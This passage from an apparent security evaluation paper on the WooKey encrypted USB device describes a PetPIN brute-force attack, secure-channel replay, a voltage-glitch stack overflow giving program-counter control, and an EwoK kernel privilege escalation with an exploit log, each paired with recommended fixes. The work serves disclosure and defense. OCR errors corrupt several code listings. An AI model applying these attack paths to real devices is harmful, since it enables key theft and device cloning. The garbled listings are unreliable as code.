x89, ... };

static final byte max_pin_tries = (byte)3;

static final short max_secure_channel_tries = 10;

}
Listing 1. Keys class with sensitive assets
if ((W == null) || (init_done == false)){

init_done = false;

W = new WooKey(Keys.UserPin, Keys.PetPin, Keys.
WooKeyPubKeyBuf , Keys.LibECCparams, Keys.PetName, Keys.
max_secure_channel_tries);

init_done = true;

}

Listing 2. WooKey class construction

The same “instantiate a secure object and zeroize” logic is performed
for most of the assets, except for four of them. Table 3 presents an
overview of static assets buffers from the class Keys. java life cycle after
the personalization phase. The buffers stored in secure objects are in
green, while those that remain in non secure buffers are in red. More
specifically, the MasterSecretKey that holds the SD card encryption key,
EncLocalPetSecretKey (ELK in the security target), and the PetName
remain in non secure buffers.

A potential issue with zeroization of the initialized buffers is the fact
that zeroization yields in known values to the attacker. If the attacker tricks
an already initialized token (e.g. with a fault injection) making it believe
that it is not, zeroes are copied in sensitive assets (e.g. the PINs): it is then
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possible to establish a Secure Channel and get the MasterSecretKey.* It
is recommended to fill the used buffers with random values.

Even though there is no direct attack path to recover such sensitive
assets, it is strongly advised to protect such buffers with dedicated secure
objects provided by the Javacard API. This is not an easy task on general
purpose buffers. Possible solutions consist either in abusing the existing
native Javacard key objects as discussed in section 5.5 of [58], or in locally
encrypting such buffers with a key protected in a secure buffer.

Whenever a security issue is detected on the tokens, e.g. too much
failed attempts for user authentications or Secure Channel establishment,
sensitive assets are destroyed using the self_destroy_card() method of
the WooKey object. This consists of zeroizing the assets in the Keys class,
but the copies of the assets in the native API secure buffers (ECPrivateKey
and so on) are not erased while they should be.

Code review, SCA and FIA robustness The code makes ex-
tensive use of secure Javacard primitives for buffers manipulations
(arrayCopyNonAtomic, arrayFillNonAtomic, arrayCompare and so on),
which is a good practice. The evaluation has then focused on all the
classical for () and while () loops to check if they manipulate sensitive
assets (hence showing potential issues with regard to SCA leakage or FTA
bypass).

A first loop is used in the AES-CTR IV incrementation for Secure
Channel encryption (see Listing 3). This loop is not fully balanced but
exploiting it in SCA seems complex and of little interest.
private void increment_iv () {

short 1i;

byte end = 0, dummy = O;
for(i = (short)IV.length; i > 0; i--){

if (end == 0){
if ((++IV[(short) (i - 1)1 !'= 0))
end = 1;
¥

else dummy++;

Listing 3. AES-CTR IV incrementation

Some ephemeral Secure Channel keys are also handled in a way that
could potentially leak information, but their ephemeral aspect renders
this exploitation useless.

4. Such an attack is a bit trickier to mount though, since the ECC keys will contain
zeroes and probably provoke exceptions.
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On the core algorithms side, although SCA attacks are residual and
post-authentication, it is recommended to add some masking and shuffling
protections:

— The Javacard implementation of HMAC, although masked, manip-

ulates the key bytes in order.

— The AES-CTR xor operation is performed unmasked and in order,

yielding in a possible leakage.

Logical checks about the automaton sequence and the privileged com-
mands access (post-authentication using PetPIN and UserPIN, and Secure
Channel establishment) have been checked to be correctly implemented
without apparent loopholes. The Secure Channel and DFU/SIG sessions
states (open or closed) handling is performed using a unique short variable
value {0xAA, 0x557} for the privileged state, which seems robust. However,
doubling the if checks should be enforced in order to add robustness
against fault injections and not fully depend on the underlying platform
countermeasures. The same advice holds for other parts of the code (PINs
checks conditions, Secure Channel failed attempts).

7 Cryptographic mechanisms review

7.1 Pre-authentication phase issue: PetPIN bruteforce

The cryptographic mechanisms are well detailed in the evaluation
companion documents, which helps in analyzing and reviewing them. This
helped to find an issue in the first phase of the pre-authentication protocol.
Since this protocol is quite complex, it won’t be detailed here: the reader
can refer to the WooKey project documentation [25,30] and the security
target evaluation [26]. Here are the first steps of this pre-authentication
phase:

— The PetPIN is entered on the WooKey touch screen.

— A key called DK (for Derived Key) of 512 bits is computed using a
PBKDF2-SHA512 derivation function with 4096 rounds from the
PetPIN and a 128-bit salt stored in the WooKey internal flash at
personalization phase.

— The DK key is sent to the token in order for it to decrypt a secret
named ELK (for Encrypted Local Key). The decrypted form is
named KPK (for Keys Platform Key), and is returned to the WooKey
platform where it will be used to check a HMAC and decrypt a
bag of keys serving to mount the Secure Channel for the next steps
of the protocol.
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The rationale here is that when the PetPIN is not correct, DK will
not be correct and ELK decryption will produce an invalid KPX failing in
platform keys HMAC verification and decryption.

The main issue here is that the operation KPK = Decpgx (ELK) can be
reversed and stays true, whether DK is correct or not. As a consequence,
it is possible to enter an incorrect PetPIN on the WooKey, sniff the
communication between the platform and the token, extract the incorrect
values DK* and KPK*, and compute ELK = Encpg+ (KPK*) to get the secret
value in the smart card. For practicality, this attack can be mounted using
only a smart card reader on a PC and the target token.

What can be done then? It is possible to create a fake smart card
answering to the first step of the protocol but without the timing counter-
measures introduced in the real token (i.e. the failing attempts counters
and the increasing time with such failing counters). This fake token lays
the first brick to mount a bruteforce attack against the PetPIN: the idea
is to try every possible PetPIN and check whether a Secure Channel is
established by the platform (meaning that the PetPIN is correct). Once
the PetPIN is found, the PetName can be recovered on the WooKey screen.
What are the following steps for an attacker from here? The PetPIN has
been designed to limit theft attacks. Now that PetPIN and PetName are
known, the attacker is able to replace the genuine WooKey and token
with fake trapped ones: since the user will see the correct PetName after
entering his PetPIN, nothing stops him from entering his real UserPIN
that will be transmitted to the attacker using e.g. a relay attack. Now
that the attacker has the real token and the UserPIN at hand, the SD
card encryption secrets (MasterSecretKey) can be recovered.

Now back on bruteforcing the PetPIN: a challenging issue is to auto-
mate the attack using the WooKey platform by instrumenting its user
interface. The keys layout on the virtual keyboard is randomized at each
boot, this can be solved by sniffing the SPI traffic between the main board
and the screen and interpret the pixels related commands. Now, one must
simulate “key presses”, which can be performed by injecting SPI traffic
between the main board and the touch screen: this part is a bit tedious
because of some issues in the code handling the SPI bus. More details
about the SPI communication can be found in the dedicated section 18.
All in all and after some tuning, a stable and automated solution has
been developed. The last element of the attack is the detection, by sniffing
the ISO7816 bus between the platform and the token, that an attempt
to mount the Secure Channel is triggered or not. All these elements are
implemented in a Teensy board [19] as shown on Figure 4. The 4 digits
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PetPIN of the closed WooKey is found in 15 hours, with 4 attempts per
minute (41 hours are necessary to cover all the possible 4 digits PINs
search space). The counterpart of this attack is that bigger PINs highly
increase brute force computation, as the attempts frequency can’t be
significantly improved.

Fig. 4. WooKey instrumentation with a Teensy for PetPIN bruteforce

On the other hand, if an attacker is able, using another attack vector,
to extract the WooKey firmware from the internal flash (and all the
encrypted key bags with it), then the PetPIN bruteforce can be performed
completely offline without the previous necessary instrumentation. This
allows to cover all the possible 4 digits PINs in 30 seconds on a common
laptop, and all the 8 digit PINs in 4 days, this time increasing exponentially
with the number of digits.

As a conclusion, the PetPIN of the WooKey project must have a better
protection, and an easy fix would be to use another relation between DK,
KPK and ELK to break the exploited reversible operation (e.g. a one-way
function). The number of allowed failed attempts to compute KPK should
also be reduced to limit bruteforce attacks. Increasing minimum PIN size
is also an efficient defense in depth countermeasure.



128 Inter-CESTI

7.2 Secure Channel review and improvement

After the pre-authentication phase where the platform keys PK have
been decrypted, the Secure Channel is established between the platform
and the tokens. The main operations of this protocol are presented on
Figure 6: they are basically an ECDSA signed ephemeral ECDH. The
platform and the token both draw random scalars d1 and d2, send each
other signed ECDH points (d1 x G) and (d2 x G), from which they are both
able to compute (d1 x d2 x G) and derive the Secure Channel AES-CTR
encryption key for confidentiality, HMAC key for integrity, and IV for
anti-replay.

The evaluator has verified both on the platform and the token side
that the Secure Channel is properly implemented, in accordance with its
specification in the project documentation. Sniffing of the ISO7816 bus
has been realized using a Saleae Logic Pro 16 [17] logical analyzer and a
software protocol decoder [8], and developing a dedicated WireShark [22]
pcap decoder for WooKey high level APDU and response command parsing
as exposed on Figure 5. The analysis has shown that the APDUs and
the responses are indeed encrypted and integrity protected, and that
the sequence of commands to mount the Secure Channel is respected.
Section 12 focuses with more details on the ECDSA and ECDH primitives
as implemented on the platform side.

Fig. 5. Sniffing the ISO7816 bus for Secure Channel conformity check

The platform and the token have asymmetrical roles here: because of
the ISO7816 bus constraints, the token is a slave waiting for the platform
initiator to trigger a Secure Channel. From the protocol design, nothing
prevents an attacker without the platform keys from replaying the same
sniffed initial value (d1 x G) and its ECDSA signature that will always be
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verified by the token. The main consequence of this is that the token will
always perform its ECDSA signature computation on a random (d2 x G).
Although this does not leverage a cryptographic vulnerability (the attacker
will not be able to compute the shared secret anyways), an undesirable
consequence is that the attacker is able to collect randomized signatures
from the token, and hence possibly perform SCA to exploit potential
leakages.

Notwithstanding the fact that the smart cards used for the tokens
are EAL4+ certified (their ECDSA implementation should be immune
to such attacks or require very advanced equipment), a defense in depth
mitigation is advised by adding a random challenge sent by the token
during pre-authentication, and verified at Secure Channel establishment.

Platform (STM32) | External Token |

ECDH1

ECDH1=d1-G Il sigecsa(ppriy, ECDH1)
| ECDH2=d2-G

Lot || sigECDSATPrY ECDH2) ECDH [=d2-ECDH1=d2:(d1-G)
ECDH [=d1-ECDH2=d1-(d2-G): // AES CTR Key, HMAC Key, IV
AES CTR Key, HMAC Key, IV WMWM»MM)&WWMWW

5 AES CTR Key, HMAC Key, (IV+X)
Fig. 6. Secure Channel establishment between the WooKey platform and the
tokens

8 Fuzzing the 1ibiso7816 and libtoken libraries

This section is about a fuzzing campaign for the WooKey’s implemen-
tation of the ISO7816-3 stack and the commands built above (i.e. the
token abstract communication protocol). The ISO7816-3 stack is used
to communicate with the smart card. This is a really interesting target
because it is exposed before the user authentication as the platform needs
to detects the smart card before asking the user for the PetPIN. If a
potential vulnerability resides in the code and can be exploited before
user authentication, then a code execution inside the SMART task could
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be gained. Furthermore, this task contains all the secrets needed to cre-
ate a fake and backdored clone of the targeted WooKey. Those secrets
are the encrypted version of the Platform Key (PK) (asset [A8]) and the
PKBDF2’s seed used to generate the Derived Key (DK) (asset [A5]) from
the entered PetPIN (see the security target evaluation [26] for the details
on the assets). We could imagine a scenario in which the attacker steals
the device, runs an exploit against the ISO7816-3 stack, retrieves the
described secrets and then creates a trapped clone with those secrets.

This ISO7816-3 stack is written in C language inside the standalone
library 1ibiso7816.> The token related commands are aslo implemented
in C in the standalone library libtoken.® Because of the modularity
of the whole project, the libraries can be compiled for any architecture
and are hardware independent. This means that in order to fuzz the
libraries, we only have to replace the function responsible to retrieve the
data from the underlying device (the USART handling ISO7816 in this
case) with a function returning characters given by the fuzzer. Since the
source code is fully available, we have decided to use 1ibFuzzer which is
a coverage-based fuzzer.”

Technically, 1ibFuzzer only needs a LLVMFuzzerTestOneInput func-
tion which takes as input parameters the fuzzed buffer’s address and its
size. This buffer will be returned byte by byte to the 1ibiso7816 through
the platform_SC_getc function. Thanks to the source code coverage,
libFuzzer will be able to discover new paths automatically. This path
discovery can be visualized using the LLVM’s source-based code coverage
visualizer.®

This fuzzing campaign does not give us any result despite 70 % of
code have been visited as shown on Figure 7.

9 Glitch attack on the ISO7816 library

The current section describes how a power glitch can be used to attack
the 1ibiso7816 library. This attack allows gaining code execution in
the SMART task which uses this library. This task hosts the platform
encrypted secrets, gaining access to these secrets (even in their encrypted
form) allows an attacker to build a clone. Coupled with the kernel privilege
escalation described in 10, an attacker can gain privileged code execution

https://github.com/wookey-project/libiso7816
https://github.com/wookey-project/libtoken
https://1lvm.org/docs/LibFuzzer.html
https://clang.1llvm.org/docs/SourceBasedCodeCoverage.html
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Filename Function Coverage Line Coverage Region Coverage
fuzzing javacard/libecc/src/nn/nn_config.h 0.00% (B/1) 0.00% (B/5) 0.00% (0/3)
fuzzing javacard/libecc/src/utils/utils.h 0.00% (B/1) 0.00% (B/6) 8.00% (0/1)
fuzzing javacard/src/aes glue.c 85.71% (6/7) 46.26% (105/227) 34.01% (50/147)
fuzzing javacard/src/aes soft unmasked.c 66.67% (8/12) 54.41% (142/261) 58.23% (46/79)
fuzzing_javacard/sre/fuzzing.c 100.00% (6/6) 100.00% (58/58) 100.60% (12/12)
fuzzing_javacard/src/hmac.c 100.00% (4/4) 74.07% (1080/135) 77.42% (48/62)
fuzzing javacard/src/libtoken.h 0.00% (B/2) 0.00% (0/19) 8.00% (0/2)
fuzzing javacard/src/platform glue.c 66.67% (18/15) 60.42% (29/48) 66.67% (10/15)
fuzzing javacard/src/smartcard.c 50.00% (7/14) 34.35% (181/527) 40.91% (126/308)
fuzzing javacard/src/smartcard iso7816.c 82.00% (41/58) 79.64% (1604/2014) 82.01% (939/1145)
fuzzing_javacard/src/token.c 80.95% (17/21) 75.00% (759/1012) 79.46% (468/589)
fuzzing javacard/src/token dfu.c 100.00% (2/2) 90.70% (39/43) 88.89% (16/18)
Totals 74.81% (101/135) 69.28% (3017/4355) 72.83% (1715/2381)

Fig. 7. libfuzzer results on 1ibiso7816 and libtoken

and modify the firmware on a closed platform. Due to the security design
of the WooKey project, even if these vulnerabilities may be used by an
attacker to gain the highest privileges on the WooKey device, encrypted
user data are not directly accessible to the attacker. Attack scenarios
require the attacker to have a physical access to the device during few
hours to clone or modify the device, then interact again with the legitimate
user to fool him with a fake clone, and finally relay stolen secrets.

One of the tests given to the ITSEF was the analysis of the Readout
Protection of the STM32F4 regarding its resistance to power glitch attacks.
These tests were performed on a STM32F4-discovery board since the board
has to be modified. The MCU has to be directly powered by an external
power supply. To render the injected glitch pulse as narrow as possible,
decoupling capacitors responsible of stabilizing the MCU power supply
have to be removed. To perform the glitching campaigns, cheap hardware
has been used:

— Power supply: DPS3005 (25 €)

— FPGA: Digilent Arty A7-100T (=200 €)

— Multiplexer: MAXIM4619 (=2 €)

The FPGA drives the STM32 reset PIN and the Multiplexer enable
PIN (see Figure 8). The FPGA allows setting the delay between the MCU
reset and the glitch injection and the width of the glitch pulse.

The computer sends delay and width values to the FPGA, checks the
results (UART logs + try JTAG), saves these results and tries another
couple of delay and width values.

The Romcode and Bootloader execution time can be identified, by
looking at the power supply and at the UART I/O as shown on Figure 9.
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Fig. 8. Glitcher setup

Rom code

Bootloader

Fig. 9. Boot components timings
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During the assessment of the Bootloader regarding its resistance to
fault attacks, we observe many successful faults using power glitching.
Replaying the power glitch parameters of successful glitches gives a good
success rate. Unfortunately, the Readout Protection was not bypassed
with the Bootloader because of its fault protection mitigation catching the
attempts (see section 14 for more details on this). The reproducibility of
power glitches in the Bootloader encourages however analyzing the other
software components regarding this kind of faults.

One of the only interfaces available on the WooKey platform before
authentication is the smart card interface. The ISO7816-3 stack is imple-
mented in the 1ibiso7816 component. The analysis was focused on this
component, especially the part responsible for parsing incoming messages.

Unlike the Bootloader, 1ibiso7816 does not implement any fault
attack mitigation (double checks, state automaton robustness, etc.).

The function SC_get_ATR is used to parse the ATR (Answer To Reset)
message coming from the smart card, this message is the first message
sent by the card (see Listing 4 for the code snippet).

int SC_get_ATR(SC_ATR x*atr){
Y Woood
/% Get the historical bytes */
atr->h_num = atr->t0 & 0x0f;
for(i = 0; i < atr->h_num; i++){
if (SC_getc_timeout (&(atr->h[il), WT_wait_time)){
goto err;
}
checksum ~= atr->h[i];

}
Listing 4. ATR parsing code in 1ibiso7816

If a glitch is performed during the masking of the incoming size
(atr->t0), the size may be fully controlled from the smart card interface.
The variable atr->h[i] is a stack buffer of 16 bytes, it can be overflowed
by 239 bytes.

The WooKey project implements stack cookies as a protection to
exploitation of such stack overflows, but at the time of the evaluation a
typo in the build configuration prevents this protection to be applied to
generated binaries “depends on STACK_PROT_FLAGS” should be “depends
on STACK_PROT_FLAG” as presented on Listing 5. This issue has been fixed
in recent commits after being reported.

config STACK_PROT_FLAG
bool "Activate -fstack-protection-strong"
default y
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config STACKPROTFLAGS
string
default "-fstack-protector-strong"
depends on STACK_PROT_FLAGS

Listing 5. Typo in the SDK that removes stack cookies

Without stack cookies, exploiting the stack overflow triggered by
the glitch is highly simplified. By crafting a dedicated ATR message on
the smart card interface, an attacker could gain code execution in the
SMART task using ROP (Return Oriented Programming) gadgets as the
WX prevents data execution. To demonstrate this, a similar vulnerable
code pattern is integrated to the BLINKY task running on STM32F4-
discovery board as this development board does not provide a smart card
interface and does not have the SMART task. The mask applied to the
size is targeted in power glitch, and when we have a successful glitch
(one successful fault per hour with 5 attempts per second), the Program
Counter is controlled by the input (see Figure 10).

delay=1568136 width=2
BRDP value : Oxaa
BLINKY init done.
BLINKY
Frame 20001F8C
EXC_RETURN FFFFFFFD
RO 20001FBO

20002268

20001FF0

20001FF0

41414141

41414141

41414141

0

4F3

41414140
808101F

PSR 61000000

panic: Memory fault!

Fig. 10. Controlling the Program Counter with a voltage glitch
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10 Kernel privilege escalation

This part describes how a kernel privilege escalation has been found
inside the EwoK kernel.” EwoK is a secure microkernel targeting embedded
systems. It is written in ADA/SPARK language, a strongly typed language
often used by domains which need safe and secure software. One of the main
security features of EwoK is the strict memory partitioning between tasks.
Also, the tasks permissions are fixed at compile time and cannot change at
runtime. Like in almost every operating system, EwoK’s tasks can discuss
with the kernel through syscalls. Those syscalls are the kernel’s main
attack surface. If a vulnerability exists inside one of them, an unprivileged
task (likely already compromised) could possibly gain kernel privileges.

In order to find basic vulnerabilities inside the kernel, we run a “dumb”
fuzzing campaign against EwoK’s syscalls. Because EwoK is developed in
the ADA language and is highly dependent on the underlying hardware,
running a custom task on a real platform seems to be the simplest way to
fuzz the syscalls. Hence, a simple fuzzing task has been developed, with a
simple algorithm:

— select a random syscall

— choose 4 arguments between:

— 0 value
— a valid pointer inside the task memory, containing random data
— a random value

— fire the syscall

All the attempts are logged on the UART port. When a kernel panic
occurs, it is possible to quickly see which syscall panics EwoK. This fuzzing
campaign reveals some crashes and many of them are just arbitrary address
dereference and are hardly exploitable.

One bug stands out though. The vulnerability resides inside the
SYS_REGISTER_DMA syscall, which takes two parameters: dma_config and
descriptor. These parameters are passed by address, it means that the
kernel must check that these addresses are part of the caller’s memory
space. EwoK contains those sanity checks, but performs an affectation to
descriptor in every failing case as shown on Listing 6.

This allows a malicious task to write the NULL value to an arbitrary
address within the kernel space. We choose to exploit this vulnerability by
writing NULL at the MPU_CTRL’s address, hence deactivating the memory
partitioning between tasks. Then the task is able to read and write the

9. https://github.com/wookey-project/ewok-kernel
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whole memory. Thus, privileges can be elevated by modifying the kernel’s

task list to become a privileged task as show on Listing 7.

procedure svc_register_dma

(caller_id : in ewok.tasks_shared.t_task_id;
params : in t_parameters;
mode : in ewok.tasks_shared.t_task_mode)
is
dma_config : ewok.exported.dma.t_dma_user_config
with import, address => to_address (params(1));
descriptor : unsigned_32
with import, address => to_address (params(2));
index : ewok.dma_shared.t_registered_dma_index;
ok : boolean;
begin

-- Forbidden after end of task initialization
if is_init_done (caller_id) then

goto ret_denied;
end if;

<<ret_inval >>
descriptor := 0;
set_return_value (caller_id, mode, SYS_E_INVAL);

ewok.tasks.set_state (caller_id, mode, TASK_STATE_RUNNABLE);

return;

<<ret_denied>>
descriptor := 0;
set_return_value (caller_id, mode, SYS_E_DENIED);

ewok .tasks.set_state (caller_id, mode, TASK_STATE_RUNNABLE);

return;
Listing 6. sys_register_dma code

EXPLOIT MPU_CTRL is @ 0xe000ed94
EXPLOIT Writing O...
EXPLOIT MPU should be turned off !
EXPLOIT Looking for tasks @ 0x10000000
EXPLOIT struct task is @ 0x100006e0
EXPLOIT name = EXPLOIT
EXPLOIT entry_point = 0x8090001
EXPLOIT ttype = TASK_TYPE_USER
EXPLOIT control = 0x3
EXPLOIT setting to ttype = TASK_TYPE_KERNEL
EXPLOIT control = 0x2
EXPLOIT Privileged mode !

Listing 7. Privilege escalation on EwoK
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11 Analysis of the address spaces of WooKey’s tasks

This section presents the analysis of the address space of each task,
a test proposed and executed in order to evaluate the conformity of the
security function “MPU usage” described in the security target [26].

The main security properties claimed by the EwoK microkernel take
root on the restricted access each task has on the resources of the system.
The first property is privilege separation: tasks are run in unprivileged
mode and should only have indirect access to the resources managed by
EwoK. The second property is the confinement of running applications:
tasks should only be able to communicate or interfere with other tasks
through authorized kernel interfaces. The purpose of this test is to verify
that the MPU is correctly configured and used for privilege separation
and confinement.

In regard to these two security properties, the MPU management of
EwoK is a critical mechanism in the WooKey platform since ARMv7-
M, the architecture of the MCU, is memory-mapped: the resources (e.g
RAM, Flash, system registers, peripheral registers) of the system are
directly accessed through memory accesses. Consequently, an incorrect
MPU configuration could grant a task an unpredicted access to some
resources that could be leveraged to corrupt or access data of another task
or of the kernel. In case of success, it could mean the direct disclosure of
an asset stored on the platform. Data corruption can be a mean to obtain
control of the execution flow or of privilege escalation, also leading in the
end to the compromise of assets of WooKey.

In any case, the exploitation of an error in the MPU management
corresponds to a partial attack path which assumes that the execution flow
of one task of WooKey has already been hijacked. This initial compromise
is typically obtained through a vulnerability in one of the protocols stacks,
executed in a task context, handling one of the external interfaces of the
platform.

The evaluator did not identify in the literature specific techniques
or tools that can be reused to perform such tests dynamically. However,
a static analysis of the binary code, which encompasses MMU aspects
through a specific formal specification, targeting higher assurance through
formal methods was proposed to verify more general information flow
properties of kernels [36]. This work, while being relevant for the analysis
of the address space, does not include many hardware aspects - typically
specificities of the MCU and its architecture such as particular system
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registers. This is a common limitation for static approaches applied on
systems with hardware and software interactions.

For this reason, the evaluator decided to favor a dynamic approach for
this test. At the beginning of the work, a small preparative code review
took place to identify the cases where the MPU is reconfigured by EwoK.
From this analysis, the evaluator concluded that the address space of an
application is only changed at three occasions: task creation, the end of
the init phase and the handling of a request to map a device. According
to this observation and the fact that other mechanisms inducing changes
of the MPU configuration are covered in other items of the test plan, the
evaluator focused on the static allocation mapping that is applied during
task creation.

The dynamic test implemented follows a simple approach: each ap-
plication running on WooKey is recompiled to include a procedure that
systematically tries read and write accesses while traversing the whole
address space. If the access is not refused by the MPU, then the access is
considered to be successful. Each time a new accessible memory region
is identified by the procedure, a log message is sent to the debug UART
of EwoK. The results are captured for all tasks of the nominal mode and
analyzed to check for potential communication means through a shared
region that is readable by a task and writable by another. Accessible
memory regions are also manually reviewed to check for unexpected access
to kernel areas.

In the evaluated version of EwoK, upon a memory access outside of
the authorized regions configured via the MPU, the MPU fault handler is
executed and the kernel kills the task responsible of the fault. This behavior
is constraining for the implementation of access testing from user mode.
A slight modification, showed in Figure 11, of the MPU Fault handler of
EwoK allows to resume execution of the responsible task and to simulate
the execution (according to ARM ABI!?) of a return 1 statement in the
current function. This allows to define a simple access checking primitive
following the code skeleton of Figure 12 that returns zero in case of access
success and one when the access triggered a MPU fault.

The test procedure traversing the whole address space will check four
bytes (aligned) and one byte memory accesses. The idea is to have at least
one successful access to some memory mapped register that has specific
memory access constraints. In addition, the EwoK bus fault handler is
modified similarly to the MPU fault handler because this fault is triggered
in the case of an unprivileged access to a system register.

10. On the condition that the current function does not use the stack.
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function memory_fault_handler
(frame_a : t_stack_frame_access)
return t_stack_frame_access
is
new_frame_a : t_stack_frame_access;
begin
#if CONFIG_KERNEL_CONTINUE_AFTER_FAULT
frame_a.RO0 := 1 ; -- Emulate a "return 1;" exzecuted by the task
frame_a.PC := frame_a.LR ;
return frame_a;
#else
-— On memory fault, the task is not scheduled anymore
#endif

end memory_fault_handler;

Fig. 11. Modification of EwoK MPU fault handler

int32_t __attribute__ ((noinline)) _check_read_access32(volatile
uint32_t* addr)
{
tmp = *addr;
// access successful
return O;
}

Fig. 12. Check access primitive
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To speed up the complete process for the whole address space, the
procedure only checks addresses at the start of a MPU region or subregion.
In the ARMv7-M architecture, the bits 4 to 0 of the base address of the
MPU region are always 0, and only regions of 256 bytes and larger can
be divided equally in 8 subregions, while any MPU region or subregion
starts with an address multiple of 32. Therefore, the address space can be
processed optimally from address zero using a step of 32.

A first run of the test identified three possible shared regions. The
three were false positives located in the Private Peripheral Bus (PPB).
The PPB is located in the system register area, which is not subject to
access control by the MPU. The ARMvT reference manual describes cases
where the PPB registers are accessible in unprivileged mode. To confirm
or infirm the problem, these three regions are exhaustively traversed with
read, then write, then read accesses and the two values read are compared.
In each of these cases, the write accesses had no effects. Two regions
were reserved by ARM, and the last was dedicated for the registers of
the Instrumentation Trace Macrocell (ITM), a ARM debugging feature.
By default the ITM registers cannot be modified in user mode. However
according to ARM documentations, a specific configuration feature can
enable user mode access. The final test gives some assurance that it was
not the case.

As a result of the whole test, the evaluator concluded that the regions
effectively accessible by each task, from creation to the end of the init
phase, correspond to the mapping defined in the source code. This mapping
gives no access to EwoK resources and isolates tasks from each other.
This indicates that during the init phase of the tasks, the mechanisms
restricting the memory accesses correctly forbid tasks access to kernel
resources and preserve the two security properties: privilege separation
and task confinement. Four man-days were dedicated to this test during
the evaluation.

12 Analysis of ECDSA against physical attacks

In the WooKey project, the ECDSA scheme is used to authenticate
both the WooKey chip and the smart card when a Secure Channel commu-
nication handshake is performed (see section 7.2 for more details on this).
If an attacker is able to recover the ECDSA private key of the WooKey
platform, he is able to mount a Secure Channel with the token and opens
new attack vectors. Such a private key is also a first step to cloning attacks
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to create fake devices, fuzz a legitimate token to find new vulnerabilities,
and steal other secrets by fooling the legitimate user.

To counter this kind of threat, it is necessary to design protections
against physical attacks during the execution of the ECDSA primitive.
In the WooKey platform, the ECDSA implementation is provided by the
libecc project [10], and this section focuses on the study of its protections
against physical attacks. It should however be noted that these attacks
are only partial as they require that the Platform Keys PK have already
been decrypted using the dedicated key KPK derived from the PetPIN and
the token. The attacker needs first to steal the platform, the token, and
somehow guess the PetPIN (e.g. using bruteforce attacks such as the ones
described in section 7.1).

The ECDSA signature algorithm is provided in Appendix A. The goal
of the attacks is to recover the private key d. It is well known that, if
the attacker is able to recover the ephemeral scalar k, the static private
key d is easily recovered given a valid signature. In fact, as reminded in
the recent Minerva attack [24], only the knowledge of a few bits of the
ephemeral scalar used for several signatures is necessary to recover the
static private key.

First, we describe the platform that was used to get the power con-
sumption during the execution of atomic operations of 1ibecc. Then, the
core analysis of physical attacks against 1ibecc is provided. This analysis
leads to the discovery of a partial vulnerability, which is discussed.

12.1 Platform description for analysis

The ChipWhisperer-Lite board [3] was used for the different tests
described in the next subsection, together with the STM32F303CT7 MCU.
Note that the MCU used in the WooKey platform is STM32F439VIT6.
The main differences are:

— A hardware AES implementation is embedded within
STM32F439VIT6; this does not affect the analysis of 1ibecc;

— STM32F439VIT6 operates at 180 MHz whereas STM32F303CT7
operates at 72 MHz.

The ChipWhisperer-Lite can handle up to 105 million samples per
second, which is enough for the STM32F303CT7 MCU whereas it would
not suffice if tests were performed with the STM32F439VIT6.
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12.2 Physical attacks against ECDSA

The attacker can use different ways to recover the ephemeral scalar k
(or parts of it) using physical attacks:

— during the generation of k;

— during the Elliptic Curve Scalar Multiplication (ECSM) within

ECDSA signature;
— during the other operations of ECDSA signature that manipulate
k in order to build the s component of the signature.

The analysis primarily focuses on the ECSM operation, for it is the
operation most prone to physical attacks.!’ Many physical attacks against
ECC (and particularly targeting the ECSM execution) have been published
since the publication by Coron in 1999 [35]. For an overview of state-of-
the-art of physical attacks and protections, one can refer to [48].

It is recalled that a new ephemeral scalar is randomly generated for
each signature. This fact excludes vertical attacks such as CPA [35] and
CPA on addresses [39], in particular. Therefore, only attacks requiring
a single consumption trace, such as the SPA [35] and more advanced
horizontal attacks, are considered.

For analyzing the protections implemented in 1ibecc, the code analysis
of the ECSM has been performed. In particular, the file prj_pt_monty.c
implements the ECSM core. The code of the main loop of the ECSM is
provided in Appendix B.

Regarding SPA, as seen in the source code (see Appendix B), the
Double-and-Add always countermeasure is implemented: a point addition
is systematically performed and the result is discarded if the current
scalar bit is 0. Also, the code does not contain any branching condition
depending on the current scalar bit, particularly in the function nn_getbit.
We verified in the assembly code '? that no optimization was made by the
compiler to add branching conditions.

Because of the critical aspect of this function that directly manip-
ulates the scalar bits, we performed measures during the execution of
the nn_getbit function. The results are provided in Figure 13 and we
concluded that the attacker is not able to distinguish between the two
possible results of the function.

Then, we investigated protection against advanced horizontal physical
attacks. The base point randomization - that is the randomization of the

11. The modular inversion of k and other calculations using k for the signature
generation may also be prone to attacks, but their analysis did not expose weaknesses
and is not described here for brevity.

12. The code has been compiled with the -S option.
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#define WORD_BITS (32)
#define WORD(A) (UINT32_C(A))

typedef uint8_t u8;

int main(void)
{
024 — nn_getbit(a, 4) ‘

init () ; — nn_getbit(a, 5)

word_t all = {
0x5AC635D8 , OxAA3A93E7,
0xB3EBBD55, 0x769886BC,
0x651D06B0, 0xCC53BOF6 ,
0x3BCE3C3E, 0x27D2604B
g

volatile u8 bit_value;

// give time before
launching

// targetted observation

HAL_Delay (500) ;

TRIGGER_HIGH () ;

bit_value = nn_getbit(a, 4);
// bit_value = nn_getbit (a,
5);

g

300 400 500 500 700 500

TRIGGER_LOW () ;

while (1);

Fig. 13. nn_getbit - Program executed on the ChipWhisperer (left) and associated
consumption traces (right) with different values of bit position (which yields
different results returned by the function)
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base point (X,Y,Z) — (I1X,1Y,1Z) with a random non-zero field element
[ - is implemented in libecc. This countermeasure thwarts the horizontal
CPA [34]. Also, the random register addresses countermeasure [40] is
implemented (this can be seen in Appendix B). This countermeasure
prevents the horizontal address-bit DPA [44].

In addition, we analyzed the assembly code of the main loop of the
ECSM mbit, (rbit ® mbit) and rbit_next during the points copies. We
isolated the few assembly instructions that have an interest, and performed
measures on the ChipWhisperer. The results are provided in Figure 14
and we concluded that the attacker is not able to gain any information on
the bit scalar mbit or on the bits of the mask r.

int main(void)

{

init(); // clock, gpio, leds

TRIGGER_HIGH () ;

asm volatile__(

"mov r5, #400 \r\n" 01 4 ‘
"mov fp, #O \r\n" // a
"mov 16, #0 \r\n" // b
"eor r6, fp, r6 \r\n" 02 4 h
"muls r6, r5, r6 \r\n"
)g ‘
03] |l

TRIGGER_LOW () ;

while (1);
} o % “ P 4 100

Fig.14. XOR and MUL - Program executed on the ChipWhisperer (left) and
associated observed traces (right) with different values of a and b

Another class of advanced horizontal attacks is considered: the Big
Mac-like attacks. The attack, introduced by Walter in [60], consists in
detecting possible repetitions of manipulated values within an ECSM.!?
Some related attacks against ECC implementation, with experimental
results, were depicted in [28] (targeting a software implementation) and
in [48, Sections 8.2.3.2 and 8.14] (targeting a hardware implementation).

Based on the main loop of the ECSM algorithm given in Appendix B,
